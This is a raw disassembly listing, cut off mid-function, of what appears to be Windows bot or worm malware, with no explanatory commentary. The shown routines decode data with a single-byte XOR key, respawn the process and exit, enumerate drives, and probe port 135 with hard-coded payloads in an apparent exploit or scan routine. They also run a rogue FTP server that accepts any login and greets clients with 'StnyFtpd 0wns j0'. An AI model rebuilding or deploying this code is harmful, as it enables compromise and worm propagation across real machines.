mov dword ptr [ebp+var_8+4], esi
fmul dbl_417628
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_417628
fstp [esp+590h+var_590]
push offset unk_41AE1C
push eax
call sub_40B0B3
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_4035F7
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_404555
add esp, 14h
loc_4035F7: ; CODE XREF: sub_4032EE+2E7j
lea eax, [ebp+var_510]
push eax
call sub_403145
cmp [ebp+var_40], 1
pop ecx
jnz loc_4037B4
push 5
push esi
lea eax, [ebp+var_148]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_42B358
cmp [ebp+var_30], esi
jnz loc_4037B4
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset dword_41ADF4
push eax
call sub_40B0B3
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_404555
lea eax, [ebp+var_510]
push eax
call sub_403145
add esp, 24h
jmp loc_4037B4
; ---------------------------------------------------------------------------
loc_403677: ; CODE XREF: sub_4032EE+2A3j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_417628
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_417628
fstp [esp+590h+var_590]
push offset unk_41ADB0
push eax
call sub_40B0B3
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_4036D7
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_404555
add esp, 14h
loc_4036D7: ; CODE XREF: sub_4032EE+3C7j
lea eax, [ebp+var_510]
push eax
call sub_403145
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_40B630
push 44h
lea eax, [ebp+var_310]
pop edi
push edi
push esi
push eax
call sub_40B630
add esp, 1Ch
lea eax, [ebp+var_10]
mov [ebp+var_310], edi
xor edi, edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+var_148]
push esi
inc edi
push eax
push esi
mov [ebp+var_304], offset byte_422270
mov [ebp+var_2E4], edi
mov [ebp+var_2E0], si
call dword_417070 ; CreateProcessA
cmp eax, edi
jnz short loc_403759
call dword_42B344 ; WSACleanup
call sub_4054C7
push esi
call dword_41706C ; ExitProcess
loc_403759: ; CODE XREF: sub_4032EE+457j
lea eax, [ebp+var_148]
push eax
push offset unk_41AD74
jmp short loc_403773
; ---------------------------------------------------------------------------
loc_403767: ; CODE XREF: sub_4032EE+45j
lea eax, [ebp+var_248]
push eax
push offset unk_41AD44
loc_403773: ; CODE XREF: sub_4032EE+477j
lea eax, [ebp+var_510]
push eax
call sub_40B0B3
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_4037A7
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_404555
add esp, 14h
loc_4037A7: ; CODE XREF: sub_4032EE+497j
lea eax, [ebp+var_510]
push eax
call sub_403145
pop ecx
loc_4037B4: ; CODE XREF: sub_4032EE+291j
; sub_4032EE+31Aj ...
push [ebp+var_18]
call dword_42B404 ; InternetCloseHandle
push [ebp+var_48]
call sub_40AD6A
pop ecx
push esi
call dword_417050 ; ExitThread
sub_4032EE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4037CD proc near ; CODE XREF: sub_4032EE+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_4037E9
loc_4037D9: ; CODE XREF: sub_4037CD+1Aj
mov dl, byte_41C0E8
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_4037D9
locret_4037E9: ; CODE XREF: sub_4037CD+Aj
retn
sub_4037CD endp
; =============== S U B R O U T I N E =======================================
sub_4037EA proc near ; CODE XREF: sub_406BAB+1626p
; sub_406BAB+1797p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40C7CB
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_4037EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403804 proc near ; CODE XREF: sub_403913+66p
; sub_403913+97p ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_42B278
push 0
push edi
call sub_40B630
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_403829: ; CODE XREF: sub_403804+5Bj
; sub_403804+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_40C880
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_40C810
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_403867
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_403829
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_403829
; ---------------------------------------------------------------------------
loc_403867: ; CODE XREF: sub_403804+4Bj
mov eax, edi
jmp short loc_403870
; ---------------------------------------------------------------------------
loc_40386B: ; CODE XREF: sub_403804+72j
mov cl, [esi]
mov [eax], cl
inc eax
loc_403870: ; CODE XREF: sub_403804+65j
dec esi
lea ecx, [ebp+var_38]
cmp esi, ecx
jnb short loc_40386B
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_403804 endp
; =============== S U B R O U T I N E =======================================
sub_403882 proc near ; CODE XREF: sub_403A2E+51p
; sub_403A2E+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_42B430 ; GetDriveTypeA
sub eax, 0
jz short loc_4038C5
dec eax
jz short loc_4038BF
dec eax
dec eax
jz short loc_4038B9
dec eax
jz short loc_4038B3
dec eax
jz short loc_4038AD
dec eax
jz short loc_4038A7
mov eax, offset word_41AF80
retn
; ---------------------------------------------------------------------------
loc_4038A7: ; CODE XREF: sub_403882+1Dj
mov eax, offset aRam ; "RAM"
retn
; ---------------------------------------------------------------------------
loc_4038AD: ; CODE XREF: sub_403882+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_4038B3: ; CODE XREF: sub_403882+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_4038B9: ; CODE XREF: sub_403882+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_4038BF: ; CODE XREF: sub_403882+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_4038C5: ; CODE XREF: sub_403882+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_403882 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4038CB proc near ; CODE XREF: sub_403913+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_42B2E8
test eax, eax
jz short loc_403900
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_403900: ; CODE XREF: sub_4038CB+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_4038CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403913 proc near ; CODE XREF: sub_403A2E+17p
; sub_40A1F9+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_4038CB
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_4039EB
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_4039EB
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_4039EB
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_40C900
push edx
push eax
call sub_403804
mov edi, offset aSkb ; "%sKB"
push eax
mov esi, 80h
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_40BDE7
add esp, 18h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_40C900
push edx
push eax
call sub_403804
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_40BDE7
add esp, 18h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_40C900
push edx
push eax
call sub_403804
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_40BDE7
add esp, 18h
pop ebx
jmp short loc_403A1A
; ---------------------------------------------------------------------------
loc_4039EB: ; CODE XREF: sub_403913+2Cj
; sub_403913+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_40B0B3
lea eax, [ebp+var_118]
push esi
push eax
call sub_40B0B3
lea eax, [ebp+var_98]
push esi
push eax
call sub_40B0B3
add esp, 18h
loc_403A1A: ; CODE XREF: sub_403913+D6j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_403913 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403A2E proc near ; CODE XREF: sub_403B00+17p
; sub_403B00+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_403913
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_40C250
add esp, 10h
test eax, eax
jnz short loc_403AA1
push ebx
push ebx
call sub_403882
pop ecx
push eax
push offset unk_41AFD4
lea eax, [ebp+var_500]
push 200h
push eax
call sub_40BDE7
add esp, 14h
jmp short loc_403AD5
; ---------------------------------------------------------------------------
loc_403AA1: ; CODE XREF: sub_403A2E+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_403882
pop ecx
push eax
push offset unk_41AF94
lea eax, [ebp+var_500]
push 200h
push eax
call sub_40BDE7
add esp, 20h
loc_403AD5: ; CODE XREF: sub_403A2E+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
lea eax, [ebp+var_500]
push eax
call sub_403145
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_403A2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403B00 proc near ; CODE XREF: sub_406BAB+2E1Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_403B21
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_403A2E
add esp, 10h
jmp short loc_403B80
; ---------------------------------------------------------------------------
loc_403B21: ; CODE XREF: sub_403B00+9j
push esi
push edi
push ebx
push ebx
call dword_42B354 ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi
call sub_40B6BF
pop ecx
mov edi, eax
push edi
push esi
call dword_42B354 ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_403B77
loc_403B45: ; CODE XREF: sub_403B00+75j
push offset aA_1 ; "A:\\"
push esi
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz short loc_403B68
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_403A2E
add esp, 10h
loc_403B68: ; CODE XREF: sub_403B00+54j
push esi
call sub_40B5B0
lea esi, [esi+eax+1]
pop ecx
cmp [esi], bl
jnz short loc_403B45
loc_403B77: ; CODE XREF: sub_403B00+43j
push edi
call sub_40B771
pop ecx
pop edi
pop esi
loc_403B80: ; CODE XREF: sub_403B00+1Fj
pop ebx
pop ebp
retn
sub_403B00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403B83 proc near ; DATA XREF: sub_406422+19o
var_2B8 = dword ptr -2B8h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_42CF6C
call dword_42B468 ; closesocket
call sub_40AC17
call dword_42B344 ; WSACleanup
call dword_42B344 ; WSACleanup
mov ebx, dword_417040
push 64h
call ebx ; Sleep
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_40B630
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_40B630
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_422270
mov [ebp+var_28], 1
mov [ebp+var_24], di
call dword_417080 ; GetSystemDirectoryA
lea eax, [ebp+var_158]
push esi
push eax
push edi
call dword_41704C ; GetModuleFileNameA
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call dword_417070 ; CreateProcessA
test eax, eax
jz short loc_403C48
push 64h
call ebx ; Sleep
push [ebp+var_10]
mov esi, dword_417074
call esi ; CloseHandle
push [ebp+var_C]
call esi ; CloseHandle
loc_403C48: ; CODE XREF: sub_403B83+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_42B2AC
mov eax, [esp+2B8h+var_2B8]
mov large fs:0, eax
add esp, 8
push edi
call dword_41706C ; ExitProcess
pop edi
pop esi
pop ebx
sub_403B83 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403C6B proc near ; CODE XREF: sub_403CA3+125p
; sub_403CA3+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_403C99
loc_403C7C: ; CODE XREF: sub_403C6B+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_40C9B0
add esp, 0Ch
test eax, eax
jz short loc_403C9F
inc esi
cmp esi, edi
jl short loc_403C7C
loc_403C99: ; CODE XREF: sub_403C6B+Fj
xor al, al
loc_403C9B: ; CODE XREF: sub_403C6B+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_403C9F: ; CODE XREF: sub_403C6B+27j
mov al, 1
jmp short loc_403C9B
sub_403C6B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403CA3 proc near ; CODE XREF: sub_402972+8Bp
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_40B690
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_403CE4
dec eax
jz short loc_403CC2
dec eax
loc_403CBC: ; CODE XREF: sub_403CA3+57j
xor eax, eax
loc_403CBE: ; CODE XREF: sub_403CA3+3Fj
; sub_403CA3+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_403CC2: ; CODE XREF: sub_403CA3+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_42B410 ; inet_addr
push eax
call sub_4014AE
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_403CBE
; ---------------------------------------------------------------------------
loc_403CE4: ; CODE XREF: sub_403CA3+13j
push 6
push 1
push 2
call dword_42B450 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_403CBC
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_40B630
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_42B3D4 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40564F
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_42B380 ; connect
cmp eax, edi
jz loc_403E00
push ebx
push 48h
push offset dword_41B018
push esi
call dword_42B420 ; send
cmp eax, edi
jz loc_403E00
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_42B3EC ; recv
cmp eax, edi
jz loc_403E00
cmp [ebp+var_200E], 0Ch
jnz short loc_403E00
push ebx
push 18h
push offset dword_41B064
push [ebp+arg_4]
call dword_42B420 ; send
cmp eax, edi
jz short loc_403E00
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_42B3EC ; recv
mov esi, eax
cmp esi, edi
jz short loc_403E00
cmp [ebp+var_200E], 2
jnz short loc_403E00
push 10h
push offset loc_41B080
lea eax, [ebp+var_2010]
push esi
push eax
call sub_403C6B
add esp, 10h
test al, al
jz short loc_403DE0
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_403E00
; ---------------------------------------------------------------------------
loc_403DE0: ; CODE XREF: sub_403CA3+12Fj
push 10h
push offset dword_41B094
lea eax, [ebp+var_2010]
push esi
push eax
call sub_403C6B
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_403E00: ; CODE XREF: sub_403CA3+9Bj
; sub_403CA3+B2j ...
push [ebp+arg_4]
call dword_42B468 ; closesocket
mov eax, ebx
pop ebx
jmp loc_403CBE
sub_403CA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403E11 proc near ; DATA XREF: sub_401141+227o
var_A6C = byte ptr -0A6Ch
var_8DC = byte ptr -8DCh
var_6DC = dword ptr -6DCh
var_6D8 = byte ptr -6D8h
var_4C4 = byte ptr -4C4h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_438 = dword ptr -438h
var_334 = byte ptr -334h
var_2D0 = byte ptr -2D0h
var_29C = byte ptr -29Ch
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_134 = byte ptr -134h
var_124 = byte ptr -124h
var_F8 = byte ptr -0F8h
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_48 = byte ptr -48h
var_38 = word ptr -38h
var_36 = word ptr -36h
var_34 = dword ptr -34h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A6Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6DC]
inc ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A6C]
xor edi, edi
push eax
push 101h
mov [ebp+var_24], ebx
mov [ebp+var_28], ebx
mov [ebp+var_238], edi
mov [ebp+var_438], edi
call dword_41717C ; WSAStartup
push edi
call sub_40CC92
push eax
call sub_40B545
push 0FA00h
push 539h
call sub_40301D
add esp, 10h
mov dword_42B2B4, eax
push edi
push ebx
push 2
call dword_4171A8 ; socket
mov esi, eax
lea eax, [ebp+var_24]
push 4
push eax
push 4
push 0FFFFh
push esi
mov [ebp+var_C], esi
call dword_41719C ; setsockopt
lea eax, [ebp+var_28]
push eax
push 8004667Eh
push esi
call dword_417180 ; ioctlsocket
mov ax, word ptr dword_42B2B4
mov [ebp+var_38], 2
push eax
mov [ebp+var_34], edi
call dword_417194 ; htons
mov [ebp+var_36], ax
lea eax, [ebp+var_38]
push 10h
push eax
push esi
call dword_417184 ; bind
test eax, eax
jge short loc_403EE6
mov eax, ebx
jmp loc_4043F1
; ---------------------------------------------------------------------------
loc_403EE6: ; CODE XREF: sub_403E11+CCj
push 0Ah
push esi
call dword_417188 ; listen
mov [ebp+var_238], ebx
mov ebx, dword_4171AC
mov [ebp+var_234], esi
mov [ebp+var_4], esi
loc_403F04: ; CODE XREF: sub_403E11+12Aj
; sub_403E11+5D8j
push 41h
lea esi, [ebp+var_238]
pop ecx
lea edi, [ebp+var_438]
rep movsd
xor edi, edi
lea eax, [ebp+var_438]
push edi
push edi
push edi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call dword_4171B0 ; select
cmp eax, 0FFFFFFFFh
jz loc_4043EE
cmp [ebp+var_4], edi
mov [ebp+arg_0], edi
jl short loc_403F04
loc_403F3D: ; CODE XREF: sub_403E11+5D2j
xor esi, esi
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_40B630
push 64h
lea eax, [ebp+var_AC]
push esi
push eax
call sub_40B630
add esp, 18h
lea eax, [ebp+var_438]
push eax
push edi
call sub_416438 ; __WSAFDIsSet
test eax, eax
jz loc_4043DC
cmp edi, [ebp+var_C]
jnz short loc_403FE6
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_134]
push eax
push [ebp+var_C]
call dword_41718C ; accept
cmp eax, 0FFFFFFFFh
jz loc_4043DC
mov edx, [ebp+var_238]
xor ecx, ecx
cmp edx, esi
jbe short loc_403FB8
loc_403FAA: ; CODE XREF: sub_403E11+1A5j
cmp [ebp+ecx*4+var_234], eax
jz short loc_403FB8
inc ecx
cmp ecx, edx
jb short loc_403FAA
loc_403FB8: ; CODE XREF: sub_403E11+197j
; sub_403E11+1A0j
cmp ecx, edx
jnz short loc_403FCE
cmp edx, 40h
jnb short loc_403FCE
mov [ebp+ecx*4+var_234], eax
inc [ebp+var_238]
loc_403FCE: ; CODE XREF: sub_403E11+1A9j
; sub_403E11+1AEj
cmp eax, [ebp+var_4]
jle short loc_403FD6
mov [ebp+var_4], eax
loc_403FD6: ; CODE XREF: sub_403E11+1C0j
push esi
push 15h
push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_4043DC
; ---------------------------------------------------------------------------
loc_403FE6: ; CODE XREF: sub_403E11+167j
push esi
lea eax, [ebp+var_29C]
push 64h
push eax
push edi
call dword_4171A0 ; recv
test eax, eax
jg short loc_404043
mov ecx, [ebp+var_238]
xor eax, eax
cmp ecx, esi
jbe short loc_404037
loc_404007: ; CODE XREF: sub_403E11+202j
cmp [ebp+eax*4+var_234], edi
jz short loc_40402C
inc eax
cmp eax, ecx
jb short loc_404007
jmp short loc_404037
; ---------------------------------------------------------------------------
loc_404017: ; CODE XREF: sub_403E11+21Ej
mov ecx, [ebp+eax*4+var_230]
mov [ebp+eax*4+var_234], ecx
mov ecx, [ebp+var_238]
inc eax
loc_40402C: ; CODE XREF: sub_403E11+1FDj
dec ecx
cmp eax, ecx
jb short loc_404017
dec [ebp+var_238]
loc_404037: ; CODE XREF: sub_403E11+1F4j
; sub_403E11+204j
push edi
call dword_4171A4 ; closesocket
jmp loc_4043DC
; ---------------------------------------------------------------------------
loc_404043: ; CODE XREF: sub_403E11+1E8j
lea eax, [ebp+var_334]
push eax
lea eax, [ebp+var_AC]
push eax
lea eax, [ebp+var_29C]
push offset aSS ; "%s %s"
push eax
call sub_40B56D
lea eax, [ebp+var_AC]
push offset aUser ; "USER"
push eax
call sub_40C250
add esp, 18h
test eax, eax
jnz short loc_404087
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_4043C7
; ---------------------------------------------------------------------------
loc_404087: ; CODE XREF: sub_403E11+267j
lea eax, [ebp+var_AC]
push offset aPass ; "PASS"
push eax
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_4040AB
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_4043C7
; ---------------------------------------------------------------------------
loc_4040AB: ; CODE XREF: sub_403E11+28Bj
lea eax, [ebp+var_AC]
push offset aSyst ; "SYST"
push eax
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_4040CF
push esi
push 0Dh
push offset a215Stnyftpd ; "215 StnyFtpd\n"
jmp loc_4043C7
; ---------------------------------------------------------------------------
loc_4040CF: ; CODE XREF: sub_403E11+2AFj
lea eax, [ebp+var_AC]
push offset aRest ; "REST"
push eax
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_4040F3
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_4043C7
; ---------------------------------------------------------------------------
loc_4040F3: ; CODE XREF: sub_403E11+2D3j
lea eax, [ebp+var_AC]
push offset off_41B280
push eax
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_404117
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_4043C7
; ---------------------------------------------------------------------------
loc_404117: ; CODE XREF: sub_403E11+2F7j
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_404152
lea eax, [ebp+var_334]
push offset aA ; "A"
push eax
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_404152
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_4043C7
; ---------------------------------------------------------------------------
loc_404152: ; CODE XREF: sub_403E11+31Bj
; sub_403E11+332j
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_40418D
lea eax, [ebp+var_334]
push offset aI ; "I"
push eax
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_40418D
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_4043C7
; ---------------------------------------------------------------------------
loc_40418D: ; CODE XREF: sub_403E11+356j
; sub_403E11+36Dj
lea eax, [ebp+var_AC]
push offset aPasv ; "PASV"
push eax
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_4041DB
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_124]
rep movsd
push eax
lea eax, [ebp+var_124]
push eax
movsw
call sub_40B5B0
pop ecx
push eax
lea eax, [ebp+var_124]
loc_4041CB: ; CODE XREF: sub_403E11+409j
push eax
push [ebp+arg_0]
call ebx ; send
mov edi, [ebp+arg_0]
xor esi, esi
jmp loc_4043CA
; ---------------------------------------------------------------------------
loc_4041DB: ; CODE XREF: sub_403E11+391j
lea eax, [ebp+var_AC]
push offset aList ; "LIST"
push eax
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_40421C
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C4]
rep movsd
movsw
push eax
lea eax, [ebp+var_C4]
push eax
movsb
call sub_40B5B0
pop ecx
push eax
lea eax, [ebp+var_C4]
jmp short loc_4041CB
; ---------------------------------------------------------------------------
loc_40421C: ; CODE XREF: sub_403E11+3DFj
lea eax, [ebp+var_AC]
push offset aPort ; "PORT"
push eax
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz loc_4042ED
lea eax, [ebp+var_2D0]
push eax
lea eax, [ebp+var_F8]
push eax
